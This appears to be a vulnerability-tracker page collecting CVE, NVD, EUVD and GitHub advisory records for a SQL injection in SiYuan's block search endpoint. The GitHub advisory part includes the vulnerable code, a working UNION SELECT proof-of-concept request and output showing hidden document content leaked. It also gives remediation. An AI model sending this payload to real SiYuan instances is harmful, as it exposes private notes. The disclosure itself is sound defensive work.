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SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-59834

Published

SiYuan is an open-source personal knowledge management system. Prior to 3.7.1, the block search endpoint POST /api/search/fullTextSearchBlock concatenates attacker-controlled paths values into SQL predicates used by non-SQL search modes, allowing an unauthenticated publish visitor to inject a UNION SELECT and return rows from hidden documents by projecting an allowed visible box and path. This issue is fixed in versions 3.7.1.

Source published
9 Jul 2026 22:15:48 UTC
Source modified
10 Jul 2026 13:33:27 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

euvd · EUVD-2026-42742

Published

SiYuan is an open-source personal knowledge management system. Prior to 3.7.1, the block search endpoint POST /api/search/fullTextSearchBlock concatenates attacker-controlled paths values into SQL predicates used by non-SQL search modes, allowing an unauthenticated publish visitor to inject a UNION SELECT and return rows from hidden documents by projecting an allowed visible box and path. This issue is fixed in versions 3.7.1.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Jul 9, 2026, 10:15:48 PM

dateUpdated: Jul 10, 2026, 1:33:27 PM

Source published
Jul 9, 2026, 10:15:48 PM (timezone not stated)
Source modified
Jul 10, 2026, 1:33:27 PM (timezone not stated)
Observed here
7 Nov 2026 13:25:33 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

nvd · CVE-2026-59834

Published

SiYuan is an open-source personal knowledge management system. Prior to 3.7.1, the block search endpoint POST /api/search/fullTextSearchBlock concatenates attacker-controlled paths values into SQL predicates used by non-SQL search modes, allowing an unauthenticated publish visitor to inject a UNION SELECT and return rows from hidden documents by projecting an allowed visible box and path. This issue is fixed in versions 3.7.1.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-89

Original publisher date fields

published: 2026-07-09T23:17:05.900

lastModified: 2026-10-25T15:10:00.147

Source published
9 Jul 2026 23:17:05 UTC
Source modified
25 Oct 2026 15:10:00 UTC
Observed here
27 Oct 2026 15:15:33 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

osv · GHSA-h89q-4j2h-7h88

Published

## Summary Siyuan's block search endpoint concatenates attacker-controlled `paths[]` values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach `POST /api/search/fullTextSearchBlock`. An attacker can inject a `UNION SELECT` through `paths[]` and return rows from hidden documents while projecting an allowed visible `box` and `path`. The post-query publish access filter trusts the projected `box` and `path`, so the injected hidden row is returned to the publish visitor. ## Affected Code The API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths: ```go if method == 2 && !model.IsAdminRoleContext(c) { ret.Code = -1 ret.Msg = "SQL search requires administrator privileges" return } blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize) if model.IsReadOnlyRoleContext(c) { publishAccess := model.GetPublishAccess() blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks) } ``` Source: `input/siyuan/kernel/api/search.go` `paths[]` is parsed into notebook IDs and paths without SQL escaping or validation: ```go path := p.(string) box := strings.TrimSpace(strings.Split(path, "/")[0]) if "" != box { boxes = append(boxes, box) } path = strings.TrimSpace(strings.TrimPrefix(path, box)) if "" != path { paths = append(paths, path) } ``` Source: `input/siyuan/kernel/api/search.go` Those values are then concatenated directly into SQL: ```go builder.WriteString(fmt.Sprintf("box = '%s'", box)) ``` ```go builder.WriteString(fmt.Sprintf("path LIKE '%s%%'", path)) ``` Source: `input/siyuan/kernel/model/search.go` Regexp search executes the resulting statement: ```go stmt := "SELECT * FROM `blocks` WHERE " + fieldFilter + " AND type IN " + typeFilter stmt += boxFilter + pathFilter + ignoreFilter + " " + orderBy blocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize) ``` Source: `input/siyuan/kernel/model/search.go` The read-only publish filter runs after SQL execution and trusts the returned row's `Box` and `Path`: ```go for _, block := range blocks { passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess) if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) { ret = append(ret, block) } } ``` Source: `input/siyuan/kernel/model/publish_access.go` ## Attack Scenario 1. A Siyuan instance enables the publish service. 2. At least one document is visible to publish visitors. 3. At least one document is hidden from publish visitors. 4. The attacker sends a crafted `paths[]` value to the publish service's `/api/search/fullTextSearchBlock` endpoint. 5. The injected SQL selects content from the hidden document while projecting the visible document's `box` and `path`. 6. Siyuan returns the hidden block because the post-query publish filter checks the projected visible path. ## Proof of Concept ```http POST /api/search/fullTextSearchBlock HTTP/1.1 Host: <publish-service-host> Content-Type: application/json { "query": "SECRET-LIVE-SQLI-20260609", "method": 3, "page": 1, "pageSize": 10, "paths": [ "VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- " ] } ``` `VISIBLE_NOTEBOOK_ID` and `/VISIBLE_DOC.sy` must reference content that the publish visitor can access. `/HIDDEN_DOC.sy` is the hidden document to read. ## Validation Setup: - Started `b3log/siyuan:latest` with an isolated temporary workspace. - Created one notebook. - Created a visible document containing `public apple marker`. - Created a hidden document containing `SECRET-LIVE-SQLI-20260609 apple marker`. - Marked the hidden document invisible with `POST /api/filetree/setPublishAccess`. - Enabled publish mode with `POST /api/setting/setPublish`. - Sent all exploit traffic through the publish service, which forwards requests with a reader-role token. Control request through the publish service for the hidden marker returned no blocks: ```json { "code": 0, "msg": "", "data": { "blocks": [], "docMode": false, "matchedBlockCount": 1, "matchedRootCount": 1, "pageCount": 1 } } ``` The injected request through the publish service returned the hidden block: ```json { "code": 0, "msg": "", "data": { "blocks": [ { "box": "20260609095146-19hud1e", "path": "/20260609095209-1ljs6o7.sy", "hPath": "/HiddenDoc", "id": "20260609095209-gttlrue", "rootID": "20260609095209-yaz7i3h", "parentID": "20260609095209-yaz7i3h", "content": "<mark>SECRET-LIVE-SQLI-20260609</mark> apple marker", "markdown": "SECRET-LIVE-SQLI-20260609 apple marker", "type": "NodeParagraph" } ], "docMode": false, "matchedBlockCount": 0, "matchedRootCount": 0, "pageCount": 0 } } ``` The returned row contains content from the hidden document, but its projected `box` and `path` point to the visible document. That is why the publish access filter accepts it. ## Impact An unauthenticated publish visitor can read hidden document block content from the `blocks` table. This bypasses Siyuan's publish visibility controls and exposes private note content that is not available through normal published document or search requests. ## Remediation Build notebook and path predicates with bound SQL parameters instead of string concatenation. For example: ```sql box = ? path LIKE ? ``` Then pass the user-controlled notebook ID and path prefix as query arguments. Additional hardening: - Validate notebook IDs before query construction. - Validate document paths against Siyuan's normalized `.sy` path format. - Apply publish visibility restrictions before or inside SQL execution, rather than relying only on post-query filtering of returned row projections. - Add regression tests for publish reader-role requests where `paths[]` contains SQL metacharacters such as `'`, `)`, `UNION`, and `--`.

Source published
2 Sep 2026 14:16:08 UTC
Source modified
10 Sep 2026 15:25:43 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Publisher rating · HIGH

osv · GO-2026-6353

Published

SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content in github.com/siyuan-note/siyuan/kernel

Source published
10 Sep 2026 14:48:42 UTC
Source modified
10 Sep 2026 15:15:12 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

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Sources read 7 Nov 20:55 UTC · 275 of 275 readable · 273 fully read · documentation 469/469 current